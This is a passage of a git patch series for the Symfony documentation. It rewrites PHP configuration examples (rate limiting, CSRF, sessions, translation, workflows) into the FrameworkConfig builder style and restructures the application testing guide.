-                ],
-                'ip_login' => [
-                    'policy' => 'sliding_window',
-                    'limit' => 50,
-                    'interval' => '15 minutes',
-                ],
-            ],
-        ]);
-
-        $container->register('app.login_rate_limiter', DefaultLoginRateLimiter::class)
-            ->setArguments([
-                // 1st argument is the limiter for IP
-                new Reference('limiter.ip_login'),
-                // 2nd argument is the limiter for username+IP
-                new Reference('limiter.username_ip_login'),
-            ]);
+            $framework->rateLimiter()
+                ->limiter('ip_login')
+                    ->policy('sliding_window')
+                    ->limit(50)
+                    ->interval('15 minutes')
+            ;
 
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    // use a custom rate limiter via its service ID
-                    'login_throttling' => [
-                        'limiter' => 'app.login_rate_limiter',
-                    ],
-                ],
-            ],
-        ]);
+            $container->register('app.login_rate_limiter', DefaultLoginRateLimiter::class)
+                ->setArguments([
+                    // 1st argument is the limiter for IP
+                    new Reference('limiter.ip_login'),
+                    // 2nd argument is the limiter for username+IP
+                    new Reference('limiter.username_ip_login'),
+                ]);
+
+            $security->firewall('main')
+                ->loginThrottling()
+                    ->limiter('app.login_rate_limiter')
+            ;
+        };
 
 .. _`security-authorization`:
 .. _denying-access-roles-and-other-authorization:
diff --git a/security/csrf.rst b/security/csrf.rst
index 51b750b1ceb..8416cd4cafc 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -51,9 +51,13 @@ for more information):
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'csrf_protection' => null,
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->csrfProtection()
+                ->enabled(true)
+            ;
+        };
 
 The tokens used for CSRF protection are meant to be different for every user and
 they are stored in the session. That's why a session is started automatically as
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 4f0af428361..2efbd8af94e 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -288,7 +288,7 @@ so ``DoctrineTokenProvider`` can store the tokens:
 
         .. code-block:: php
 
-            # config/packages/doctrine.php
+            // config/packages/doctrine.php
             use Symfony\Config\DoctrineConfig;
 
             return static function (DoctrineConfig $doctrine) {
diff --git a/session/database.rst b/session/database.rst
index 58d8e48bab4..5e076329640 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -149,14 +149,14 @@ configuration option to tell Symfony to use this service as the session handler:
 
         // config/packages/framework.php
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
+        use Symfony\Config\FrameworkConfig;
 
-        // ...
-        $container->loadFromExtension('framework', [
+        return static function (FrameworkConfig $framework) {
             // ...
-            'session' => [
-                'handler_id' => RedisSessionHandler::class,
-            ],
-        ]);
+            $framework->session()
+                ->handlerId(RedisSessionHandler::class)
+            ;
+        };
 
 That's all! Symfony will now use your Redis server to read and write the session
 data. The main drawback of this solution is that Redis does not perform session
@@ -273,14 +273,14 @@ configuration option to tell Symfony to use this service as the session handler:
 
         // config/packages/framework.php
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
+        use Symfony\Config\FrameworkConfig;
 
-        // ...
-        $container->loadFromExtension('framework', [
+        return static function (FrameworkConfig $framework) {
             // ...
-            'session' => [
-                'handler_id' => PdoSessionHandler::class,
-            ],
-        ]);
+            $framework->session()
+                ->handlerId(PdoSessionHandler::class)
+            ;
+        };
 
 Configuring the Session Table and Column Names
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -532,14 +532,14 @@ configuration option to tell Symfony to use this service as the session handler:
 
         // config/packages/framework.php
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
+        use Symfony\Config\FrameworkConfig;
 
-        // ...
-        $container->loadFromExtension('framework', [
+        return static function (FrameworkConfig $framework) {
             // ...
-            'session' => [
-                'handler_id' => MongoDbSessionHandler::class,
-            ],
-        ]);
+            $framework->session()
+                ->handlerId(MongoDbSessionHandler::class)
+            ;
+        };
 
 .. note::
 
diff --git a/session/php_bridge.rst b/session/php_bridge.rst
index ba7fc53d41a..a0fbfc8e06b 100644
--- a/session/php_bridge.rst
+++ b/session/php_bridge.rst
@@ -41,12 +41,14 @@ for the ``handler_id``:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
-                'storage_factory_id' => 'session.storage.factory.php_bridge',
-                'handler_id' => null,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
+                ->storageFactoryId('session.storage.factory.php_bridge')
+                ->handlerId(null)
+            ;
+        };
 
 Otherwise, if the problem is that you cannot avoid the application
 starting the session with ``session_start()``, you can still make use of
@@ -83,12 +85,14 @@ the example below:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
-                'storage_factory_id' => 'session.storage.factory.php_bridge',
-                'handler_id' => 'session.storage.native_file',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
+                ->storageFactoryId('session.storage.factory.php_bridge')
+                ->handlerId('session.storage.native_file')
+            ;
+        };
 
 .. note::
 
diff --git a/session/proxy_examples.rst b/session/proxy_examples.rst
index c4c3f9423a3..67d46adb27b 100644
--- a/session/proxy_examples.rst
+++ b/session/proxy_examples.rst
@@ -46,13 +46,14 @@ Symfony to use your session handler instead of the default one:
 
         // config/packages/framework.php
         use App\Session\CustomSessionHandler;
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'session' => [
-                // ...
-                'handler_id' => CustomSessionHandler::class,
-            ],
-        ]);
+            $framework->session()
+                ->handlerId(CustomSessionHandler::class)
+            ;
+        };
 
 Keep reading the next sections to learn how to use the session handlers in practice
 to solve two common use cases: encrypt session information and define read-only
diff --git a/templating/hinclude.rst b/templating/hinclude.rst
index 8172ae60652..3a117148983 100644
--- a/templating/hinclude.rst
+++ b/templating/hinclude.rst
@@ -60,12 +60,14 @@ default content rendering some template:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'fragments' => [
-                'hinclude_default_template' => 'hinclude.html.twig',
-            ],
-        ]);
+            $framework->fragments()
+                ->hincludeDefaultTemplate('hinclude.html.twig')
+            ;
+        };
 
 You can define default templates per ``render()`` function (which will override
 any global default template that is defined):
diff --git a/testing/profiling.rst b/testing/profiling.rst
index d3fa71f8e76..db7714b9d1f 100644
--- a/testing/profiling.rst
+++ b/testing/profiling.rst
@@ -47,15 +47,15 @@ tests significantly. That's why Symfony disables it by default:
     .. code-block:: php
 
         // config/packages/test/web_profiler.php
+        use Symfony\Config\FrameworkConfig;
 
-        // ...
-        $container->loadFromExtension('framework', [
+        return static function (FrameworkConfig $framework) {
             // ...
-            'profiler' => [
-                'enabled' => true,
-                'collect' => false,
-            ],
-        ]);
+            $framework->profiler()
+                ->enabled(true)
+                ->collect(false)
+            ;
+        };
 
 Setting ``collect`` to ``true`` enables the profiler for all tests. However, if
 you need the profiler only in a few tests, you can keep it disabled globally and
@@ -71,7 +71,7 @@ provided by the collectors obtained through the ``$client->getProfile()`` call::
 
     // tests/Controller/LuckyControllerTest.php
     namespace App\Tests\Controller;
-    
+
     use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
 
     class LuckyControllerTest extends WebTestCase
diff --git a/translation.rst b/translation.rst
index 670142f7b40..382beed92a0 100644
--- a/translation.rst
+++ b/translation.rst
@@ -92,11 +92,16 @@ are located:
     .. code-block:: php
 
         // config/packages/translation.php
-        $container->loadFromExtension('framework', [
-            'default_locale' => 'en',
-            'translator' => ['default_path' => '%kernel.project_dir%/translations'],
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-        ]);
+            $framework
+                ->defaultLocale('en')
+                ->translator()
+                    ->defaultPath('%kernel.project_dir%/translations')
+            ;
+        };
 
 The locale used in translations is the one stored on the request. This is
 typically set via a ``_locale`` attribute on your routes (see :ref:`translation-locale-url`).
@@ -571,13 +576,13 @@ if you're generating translations with specialized programs or teams.
         .. code-block:: php
 
             // config/packages/translation.php
-            $container->loadFromExtension('framework', [
-                'translator' => [
-                    'paths' => [
-                        '%kernel.project_dir%/custom/path/to/translations',
-                    ],
-                ],
-            ]);
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (FrameworkConfig $framework) {
+                $framework->translator()
+                    ->paths(['%kernel.project_dir%/custom/path/to/translations'])
+                ;
+            };
 
 .. note::
 
@@ -647,10 +652,14 @@ checks translation resources for several locales:
        .. code-block:: php
 
            // config/packages/translation.php
-           $container->loadFromExtension('framework', [
-               'translator' => ['fallbacks' => ['en']],
-               // ...
-           ]);
+           use Symfony\Config\FrameworkConfig;
+
+            return static function (FrameworkConfig $framework) {
+                // ...
+                $framework->translator()
+                    ->fallbacks(['en'])
+                ;
+            };
 
 .. note::
 
diff --git a/translation/locale.rst b/translation/locale.rst
index 87f973a146a..79a9d45ce39 100644
--- a/translation/locale.rst
+++ b/translation/locale.rst
@@ -65,7 +65,7 @@ A better policy is to include the locale in the URL using the
 .. configuration-block::
 
     .. code-block:: php-annotations
-        
+
         // src/Controller/ContactController.php
         namespace App\Controller;
 
@@ -177,6 +177,8 @@ the framework:
     .. code-block:: php
 
         // config/packages/translation.php
-        $container->loadFromExtension('framework', [
-            'default_locale' => 'en',
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->defaultLocale('en');
+        };
diff --git a/validation.rst b/validation.rst
index 0ad5a3108ec..5f9eab48cc6 100644
--- a/validation.rst
+++ b/validation.rst
@@ -251,11 +251,13 @@ file:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'validation' => [
-                'enabled' => true,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->validation()
+                ->enabled(true)
+            ;
+        };
 
 Besides, if you plan to use annotations to configure validation, replace the
 previous configuration by the following:
@@ -287,11 +289,13 @@ previous configuration by the following:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'validation' => [
-                'enable_annotations' => true,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->validation()
+                ->enableAnnotations(true)
+            ;
+        };
 
 .. tip::
 
diff --git a/workflow.rst b/workflow.rst
index bd36eb49014..6d65ba18305 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -120,43 +120,40 @@ like this:
 
         // config/packages/workflow.php
         use App\Entity\BlogPost;
-
-        $container->loadFromExtension('framework', [
-            'workflows' => [
-                'blog_publishing' => [
-                    'type' => 'workflow', // or 'state_machine'
-                    'audit_trail' => [
-                        'enabled' => true
-                    ],
-                    'marking_store' => [
-                        'type' => 'method',
-                        'property' => 'currentPlace',
-                    ],
-                    'supports' => [BlogPost::class],
-                    'initial_marking' => 'draft',
-                    'places' => [
-                        'draft',
-                        'reviewed',
-                        'rejected',
-                        'published',
-                    ],
-                    'transitions' => [
-                        'to_review' => [
-                            'from' => 'draft',
-                            'to' => 'reviewed',
-                        ],
-                        'publish' => [
-                            'from' => 'reviewed',
-                            'to' => 'published',
-                        ],
-                        'reject' => [
-                            'from' => 'reviewed',
-                            'to' => 'rejected',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $blogPublishing = $framework->workflows()->workflows('blog_publishing');
+            $blogPublishing
+                ->type('workflow') // or 'state_machine'
+                ->supports([BlogPost::class])
+                ->initialMarking(['draft']);
+
+            $blogPublishing->auditTrail()->enabled(true);
+            $blogPublishing->markingStore()
+                ->type('method')
+                ->property('currentPlace');
+
+            $blogPublishing->place()->name('draft');
+            $blogPublishing->place()->name('reviewed');
+            $blogPublishing->place()->name('rejected');
+            $blogPublishing->place()->name('published');
+
+            $blogPublishing->transition()
+                ->name('to_review')
+                    ->from(['draft'])
+                    ->to(['reviewed']);
+
+            $blogPublishing->transition()
+                ->name('publish')
+                    ->from(['reviewed'])
+                    ->to(['published']);
+
+            $blogPublishing->transition()
+                ->name('reject')
+                    ->from(['reviewed'])
+                    ->to(['rejected']);
+        };
 
 .. tip::
 
@@ -553,23 +550,25 @@ to :ref:`Guard events <workflow-usage-guard-events>`, which are always fired:
     .. code-block:: php
 
         // config/packages/workflow.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'workflows' => [
-                'blog_publishing' => [
-                    // you can pass one or more event names
-                    'events_to_dispatch' => [
-                        'workflow.leave',
-                        'workflow.completed',
-                    ],
-
-                    // pass an empty array to not dispatch any event
-                    'events_to_dispatch' => [],
-
-                    // ...
-                ],
-            ],
-        ]);
+
+            $blogPublishing = $framework->workflows()->workflows('blog_publishing');
+
+            // ...
+            // you can pass one or more event names
+            $blogPublishing->eventsToDispatch([
+                'workflow.leave',
+                'workflow.completed',
+            ]);
+
+            // pass an empty array to not dispatch any event
+            $blogPublishing->eventsToDispatch([]);
+
+            // ...
+        };
 
 You can also disable a specific event from being fired when applying a transition::
 
@@ -731,36 +730,33 @@ transition. The value of this option is any valid expression created with the
     .. code-block:: php
 
         // config/packages/workflow.php
-        use App\Entity\BlogPost;
-
-        $container->loadFromExtension('framework', [
-            'workflows' => [
-                'blog_publishing' => [
-                    // ... previous configuration
-
-                    'transitions' => [
-                        'to_review' => [
-                            // the transition is allowed only if the current user has the ROLE_REVIEWER role.
-                            'guard' => 'is_granted("ROLE_REVIEWER")',
-                            'from' => 'draft',
-                            'to' => 'reviewed',
-                        ],
-                        'publish' => [
-                            // or "is_anonymous", "is_remember_me", "is_fully_authenticated", "is_granted"
-                            'guard' => 'is_authenticated',
-                            'from' => 'reviewed',
-                            'to' => 'published',
-                        ],
-                        'reject' => [
-                            // or any valid expression language with "subject" referring to the post
-                            'guard' => 'is_granted("ROLE_ADMIN") and subject.isStatusReviewed()',
-                            'from' => 'reviewed',
-                            'to' => 'rejected',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $blogPublishing = $framework->workflows()->workflows('blog_publishing');
+            // ... previous configuration
+
+            $blogPublishing->transition()
+                ->name('to_review')
+                    // the transition is allowed only if the current user has the ROLE_REVIEWER role.
+                    ->guard('is_granted("ROLE_REVIEWER")')
+                    ->from(['draft'])
+                    ->to(['reviewed']);
+
+            $blogPublishing->transition()
+                ->name('publish')
+                    // or "is_anonymous", "is_remember_me", "is_fully_authenticated", "is_granted"
+                    ->guard('is_authenticated')
+                    ->from(['reviewed'])
+                    ->to(['published']);
+
+            $blogPublishing->transition()
+                ->name('reject')
+                    // or any valid expression language with "subject" referring to the post
+                    ->guard('is_granted("ROLE_ADMIN") and subject.isStatusReviewed()')
+                    ->from(['reviewed'])
+                    ->to(['rejected']);
+        };
 
 You can also use transition blockers to block and return a user-friendly error
 message when you stop a transition from happening.
@@ -945,42 +941,43 @@ be only the title of the workflow or very complex objects:
     .. code-block:: php
 
         // config/packages/workflow.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $blogPublishing = $framework->workflows()->workflows('blog_publishing');
+            // ... previous configuration
+
+            $blogPublishing->metadata([
+                'title' => 'Blog Publishing Workflow'
+            ]);
+
             // ...
-            'workflows' => [
-                'blog_publishing' => [
-                    'metadata' => [
-                        'title' => 'Blog Publishing Workflow',
-                    ],
-                    // ...
-                    'places' => [
-                        'draft' => [
-                            'metadata' => [
-                                'max_num_of_words' => 500,
-                            ],
-                        ],
-                        // ...
-                    ],
-                    'transitions' => [
-                        'to_review' => [
-                            'from' => 'draft',
-                            'to' => 'review',
-                            'metadata' => [
-                                'priority' => 0.5,
-                            ],
-                        ],
-                        'publish' => [
-                            'from' => 'reviewed',
-                            'to' => 'published',
-                            'metadata' => [
-                                'hour_limit' => 20,
-                                'explanation' => 'You can not publish after 8 PM.',
-                            ],
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+
+            $blogPublishing->place()
+                ->name('draft')
+                ->metadata([
+                    'max_num_of_words' => 500,
+                ]);
+
+            // ...
+
+            $blogPublishing->transition()
+                ->name('to_review')
+                    ->from(['draft'])
+                    ->to(['reviewed'])
+                    ->metadata([
+                        'priority' => 0.5,
+                    ]);
+
+            $blogPublishing->transition()
+                ->name('publish')
+                    ->from(['reviewed'])
+                    ->to(['published'])
+                    ->metadata([
+                        'hour_limit' => 20,
+                        'explanation' => 'You can not publish after 8 PM.',
+                    ]);
+        };
 
 Then you can access this metadata in your controller as follows::
 
diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index 5dda2ba6c56..98e5911561f 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -251,75 +251,70 @@ Below is the configuration for the pull request state machine with styling added
     .. code-block:: php
 
         // config/packages/workflow.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'workflows' => [
-                'pull_request' => [
-                    'type' => 'state_machine',
-                    'marking_store' => [
-                        'type' => 'method',
-                        'property' => 'currentPlace',
-                    ],
-                    'supports' => ['App\Entity\PullRequest'],
-                    'initial_marking' => 'start',
-                    'places' => [
-                        'start',
-                        'coding',
-                        'test',
-                        'review' => [
-                          'metadata' => [
-                              'description' => 'Human review',
-                          ],
-                        ],
-                        'merged',
-                        'closed' => [
-                          'metadata' => [
-                              'bg_color' => 'DeepSkyBlue',
-                          ],
-                        ],
-                    ],
-                    'transitions' => [
-                        'submit'=> [
-                            'from' => 'start',
-                            'to' => 'test',
-                        ],
-                        'update'=> [
-                            'from' => ['coding', 'test', 'review'],
-                            'to' => 'test',
-                            'metadata' => [
-                                'arrow_color' => 'Turquoise',
-                            ],
-                        ],
-                        'wait_for_review'=> [
-                            'from' => 'test',
-                            'to' => 'review',
-                            'metadata' => [
-                                'color' => 'Orange',
-                            ],
-                        ],
-                        'request_change'=> [
-                            'from' => 'review',
-                            'to' => 'coding',
-                        ],
-                        'accept'=> [
-                            'from' => 'review',
-                            'to' => 'merged',
-                            'metadata' => [
-                                'label' => 'Accept PR',
-                            ],
-                        ],
-                        'reject'=> [
-                            'from' => 'review',
-                            'to' => 'closed',
-                        ],
-                        'reopen'=> [
-                            'from' => 'start',
-                            'to' => 'review',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+            $pullRequest = $framework->workflows()->workflows('pull_request');
+
+            $pullRequest
+                ->type('state_machine')
+                ->supports(['App\Entity\PullRequest'])
+                ->initialMarking(['start']);
+
+            $pullRequest->markingStore()
+                ->type('method')
+                ->property('currentPlace');
+
+            $pullRequest->place()->name('start');
+            $pullRequest->place()->name('coding');
+            $pullRequest->place()->name('test');
+            $pullRequest->place()
+                ->name('review')
+                ->metadata(['description' => 'Human review']);
+            $pullRequest->place()->name('merged');
+            $pullRequest->place()
+                ->name('closed')
+                ->metadata(['bg_color' => 'DeepSkyBlue',]);
+
+            $pullRequest->transition()
+                ->name('submit')
+                    ->from(['start'])
+                    ->to(['test']);
+
+            $pullRequest->transition()
+                ->name('update')
+                    ->from(['coding', 'test', 'review'])
+                    ->to(['test'])
+                    ->metadata(['arrow_color' => 'Turquoise']);
+
+            $pullRequest->transition()
+                ->name('wait_for_review')
+                    ->from(['test'])
+                    ->to(['review'])
+                    ->metadata(['color' => 'Orange']);
+
+            $pullRequest->transition()
+                ->name('request_change')
+                    ->from(['review'])
+                    ->to(['coding']);
+
+            $pullRequest->transition()
+                ->name('accept')
+                    ->from(['review'])
+                    ->to(['merged'])
+                    ->metadata(['label' => 'Accept PR']);
+
+            $pullRequest->transition()
+                ->name('reject')
+                    ->from(['review'])
+                    ->to(['closed']);
+
+            $pullRequest->transition()
+                ->name('accept')
+                    ->from(['closed'])
+                    ->to(['review']);
+        };
 
 The PlantUML image will look like this:
 
diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index 730cf66bccc..6ef73aa60cf 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -192,58 +192,62 @@ Below is the configuration for the pull request state machine.
     .. code-block:: php
 
         // config/packages/workflow.php
-        $container->loadFromExtension('framework', [
-            // ...
-            'workflows' => [
-                'pull_request' => [
-                    'type' => 'state_machine',
-                    'marking_store' => [
-                        'type' => 'method',
-                        'property' => 'currentPlace',
-                    ],
-                    'supports' => ['App\Entity\PullRequest'],
-                    'initial_marking' => 'start',
-                    'places' => [
-                        'start',
-                        'coding',
-                        'test',
-                        'review',
-                        'merged',
-                        'closed',
-                    ],
-                    'transitions' => [
-                        'submit'=> [
-                            'from' => 'start',
-                            'to' => 'test',
-                        ],
-                        'update'=> [
-                            'from' => ['coding', 'test', 'review'],
-                            'to' => 'test',
-                        ],
-                        'wait_for_review'=> [
-                            'from' => 'test',
-                            'to' => 'review',
-                        ],
-                        'request_change'=> [
-                            'from' => 'review',
-                            'to' => 'coding',
-                        ],
-                        'accept'=> [
-                            'from' => 'review',
-                            'to' => 'merged',
-                        ],
-                        'reject'=> [
-                            'from' => 'review',
-                            'to' => 'closed',
-                        ],
-                        'reopen'=> [
-                            'from' => 'start',
-                            'to' => 'review',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $pullRequest = $framework->workflows()->workflows('pull_request');
+
+            $pullRequest
+                ->type('state_machine')
+                ->supports(['App\Entity\PullRequest'])
+                ->initialMarking(['start']);
+
+            $pullRequest->markingStore()
+                ->type('method')
+                ->property('currentPlace');
+
+            $pullRequest->place()->name('start');
+            $pullRequest->place()->name('coding');
+            $pullRequest->place()->name('test');
+            $pullRequest->place()->name('review');
+            $pullRequest->place()->name('merged');
+            $pullRequest->place()->name('closed');
+
+            $pullRequest->transition()
+                ->name('submit')
+                    ->from(['start'])
+                    ->to(['test']);
+
+            $pullRequest->transition()
+                ->name('update')
+                    ->from(['coding', 'test', 'review'])
+                    ->to(['test']);
+
+            $pullRequest->transition()
+                ->name('wait_for_review')
+                    ->from(['test'])
+                    ->to(['review']);
+
+            $pullRequest->transition()
+                ->name('request_change')
+                    ->from(['review'])
+                    ->to(['coding']);
+
+            $pullRequest->transition()
+                ->name('accept')
+                    ->from(['review'])
+                    ->to(['merged']);
+
+            $pullRequest->transition()
+                ->name('reject')
+                    ->from(['review'])
+                    ->to(['closed']);
+
+            $pullRequest->transition()
+                ->name('accept')
+                    ->from(['closed'])
+                    ->to(['review']);
+        };
 
 In a Symfony application using the
 :ref:`default services.yaml configuration <service-container-services-load-example>`,

From 26b82af5f0e9ad51c7eabc5a2d7f90520c7b8ee6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 30 Apr 2021 16:37:19 +0200
Subject: [PATCH 0800/5766] Minor tweak

---
 validation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation.rst b/validation.rst
index 65f174d5094..80705abdb08 100644
--- a/validation.rst
+++ b/validation.rst
@@ -113,7 +113,7 @@ following:
 Adding this configuration by itself does not yet guarantee that the value will
 not be blank; you can still set it to a blank value if you want.
 To actually guarantee that the value adheres to the constraint, the object must
-be passed to the Validator Service to be checked.
+be passed to the validator service to be checked.
 
 .. tip::
 

From 4f72e6a8919a2da6c4056f23e5c54204b6e5d2f8 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 2 May 2021 13:41:33 +0200
Subject: [PATCH 0801/5766] [Testing] Restructure Application Tests section

- Focus more on Arrange, Act, Assert
- Advertise modern testing features: application testing in Symfony is fun!
- Move all important application test docs into the main guide
---
 _build/redirection_map                  |   1 +
 testing.rst                             | 580 ++++++++++--------------
 testing/dom_crawler.rst                 |  98 ++++
 testing/functional_tests_assertions.rst | 102 -----
 4 files changed, 340 insertions(+), 441 deletions(-)
 create mode 100644 testing/dom_crawler.rst
 delete mode 100644 testing/functional_tests_assertions.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index fe432c55aa1..625066b765a 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -510,3 +510,4 @@
 /messenger/message-recorder messenger/dispatch_after_current_bus
 /components/stopwatch https://github.com/symfony/stopwatch
 /service_container/3.3-di-changes https://symfony.com/doc/3.4/service_container/3.3-di-changes.html
+/testing/functional_tests_assertions /testing#testing-application-assertions
diff --git a/testing.rst b/testing.rst
index 095856fb426..a2bd4ff720e 100644
--- a/testing.rst
+++ b/testing.rst
@@ -417,9 +417,9 @@ application (from the routing to the views). They are no different from
 unit tests or integration tests as far as PHPUnit is concerned, but they
 have a very specific workflow:
 
-#. Make a request;
-#. Click on a link or submit a form;
-#. Test the response;
+#. :ref:`Make a request <testing-applications-arrange>`;
+#. :ref:`Interact with the page <testing-applications-act>` (e.g. click on a link or submit a form);
+#. :Ref:`Test the response <testing-application-assertions>`;
 #. Rinse and repeat.
 
 .. note::
@@ -475,22 +475,22 @@ This creates the following test class::
     }
 
 In the above example, the test validates that the HTTP response was successful
-and the request body contains a ``<h1>`` tag with ``"Hello world"``. The
-``createClient()`` method also returns a client, which is like a browser
-that you can use to crawl your site::
+and the request body contains a ``<h1>`` tag with ``"Hello world"``.
+
+The ``request()`` method also returns a crawler, which you can use to
+create more complex assertions in your tests::
 
     $crawler = $client->request('GET', '/post/hello-world');
 
     // for instance, count the number of ``.comment`` elements on the page
     $this->assertCount(4, $crawler->filter('.comment'));
 
-The ``request()`` method (read
-:ref:`more about the request method <testing-request-method-sidebar>`)
-returns a :class:`Symfony\\Component\\DomCrawler\\Crawler` object which can
-be used to select elements in the response, click on links and submit forms.
+You can learn more about the crawler in :doc:`/testing/dom_crawler`.
 
-Working with the Test Client
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. _testing-applications-arrange:
+
+Making Requests
+~~~~~~~~~~~~~~~
 
 The test client simulates an HTTP client like a browser and makes requests
 into your Symfony application::
@@ -506,109 +506,33 @@ returns a ``Crawler`` instance.
     If the test generates URLs using the Symfony router, it won't detect
     any change made to the application URLs which may impact the end users.
 
-Use the crawler to find DOM elements in the response. These elements can then
-be used to click on links and submit forms::
-
-    $crawler = $client->clickLink('Go elsewhere...');
-
-    $crawler = $client->submitForm('validate', ['name' => 'Fabien']);
-
-The ``clickLink()`` and ``submitForm()`` methods both return a ``Crawler`` object.
-These methods are the best way to browse your application as it takes care
-of a lot of things for you, like detecting the HTTP method from a form and
-giving you a nice API for uploading files.
-
-The ``request()`` method can also be used to simulate form submissions directly
-or perform more complex requests. Some useful examples::
-
-    // submits a form directly (but using the Crawler is easier!)
-    $client->request('POST', '/submit', ['name' => 'Fabien']);
-
-    // submits a raw JSON string in the request body
-    $client->request(
-        'POST',
-        '/submit',
-        [],
-        [],
-        ['CONTENT_TYPE' => 'application/json'],
-        '{"name":"Fabien"}'
-    );
-
-    // Form submission with a file upload
-    use Symfony\Component\HttpFoundation\File\UploadedFile;
-
-    $photo = new UploadedFile(
-        '/path/to/photo.jpg',
-        'photo.jpg',
-        'image/jpeg',
-        null
-    );
-    $client->request(
-        'POST',
-        '/submit',
-        ['name' => 'Fabien'],
-        ['photo' => $photo]
-    );
-
-    // Perform a DELETE request and pass HTTP headers
-    $client->request(
-        'DELETE',
-        '/post/12',
-        [],
-        [],
-        ['PHP_AUTH_USER' => 'username', 'PHP_AUTH_PW' => 'pa$$word']
-    );
-
-Last but not least, you can force each request to be executed in its own PHP
-process to avoid any side effects when working with several clients in the same
-script::
-
-    $client->insulate();
-
-.. _testing-request-method-sidebar:
-
-.. sidebar:: More about the ``request()`` Method:
-
-    The full signature of the ``request()`` method is::
-
-        request(
-            $method,
-            $uri,
-            array $parameters = [],
-            array $files = [],
-            array $server = [],
-            $content = null,
-            $changeHistory = true
-        )
-
-    The ``server`` array is the raw values that you'd expect to normally
-    find in the PHP `$_SERVER`_ superglobal. For example, to set the
-    ``Content-Type`` and ``Referer`` HTTP headers, you'd pass the following (mind
-    the ``HTTP_`` prefix for non standard headers)::
-
-        $client->request(
-            'GET',
-            '/post/hello-world',
-            [],
-            [],
-            [
-                'CONTENT_TYPE' => 'application/json',
-                'HTTP_REFERER' => '/foo/bar',
-            ]
-        );
-
-AJAX Requests
-.............
-
-The Client provides a :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest`
-method, which has the same arguments as the ``request()`` method, and it's a
-shortcut to make AJAX requests::
+The full signature of the ``request()`` method is::
 
-    // the required HTTP_X_REQUESTED_WITH header is added automatically
-    $client->xmlHttpRequest('POST', '/submit', ['name' => 'Fabien']);
+    request(
+        $method,
+        $uri,
+        array $parameters = [],
+        array $files = [],
+        array $server = [],
+        $content = null,
+        $changeHistory = true
+    )
+
+This allows you to create all types of requests you can think of:
+
+.. contents::
+    :local:
+    :depth: 1
+
+.. tip::
 
-Browsing
-........
+    The test client is available as the ``test.client`` service in the
+    container in the ``test`` environment (or wherever the
+    :ref:`framework.test <reference-framework-test>` option is enabled).
+    This means you can override the service entirely if you need to.
+
+Browsing the Site
+.................
 
 The Client supports many operations that can be done in a real browser::
 
@@ -624,53 +548,6 @@ The Client supports many operations that can be done in a real browser::
